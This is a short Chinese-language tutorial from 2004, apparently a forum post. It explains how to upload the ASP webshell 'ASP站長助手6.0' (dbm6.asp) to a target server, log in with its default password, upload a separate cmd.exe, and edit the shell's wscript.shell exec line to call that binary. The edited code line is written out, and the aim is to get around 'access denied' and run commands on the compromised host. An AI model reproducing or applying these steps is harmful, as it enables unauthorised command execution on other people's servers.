使用ASP站長助手6.0提升webshll中cmd許可權圖文教程

黑色誘惑
1.將ASP站長助手6.0的dbm6.asp檔案上傳到目標。

2.從瀏覽器中開啟上傳的dbm6.asp，輸入初始密碼：gxgl.com

3.這個時候在ASP站長助手6.0點擊命令列模組，顯示"拒絕訪問"

4.用ASP站長助手6.0的檔案上傳模組上傳一個本地的CMD.exe，到你的目標主機。

5.用記事本開啟修改你的wdbm6.asp找到調用CMD.exe的代碼
原來的：
SI=SI&server.createobject("wscript.shell").exec("cmd.exe /c "&DefCmd).stdout.readall
修改成：
SI=SI&server.createobject("wscript.shell").exec("你想上傳的cmd.exe絕對路徑 /c "&DefCmd).stdout.readall
比如我這裡上傳到的目錄是D:/cmd.exe那麼就修改成:
SI=SI&server.createobject("wscript.shell").exec("D:/cmd.exe /c "&DefCmd).stdout.readall
儲存後重新上傳到目標主機覆蓋原來的dbm6.asp。

6.這個時候在ASP站長助手6.0點擊命令列模組，呵呵，看看到久違的黑白畫面了吧~~~

 [這是昨天QQ上一位叫小學徒的朋友問我的問題，我今天就專門去下了一個來用，然後在這裡告訴他使用的方法，水平有限，寫得很簡陋，不知道大家能看懂不]
                                                                                                                                                ileboy
                                                                                                                                           2004/11/4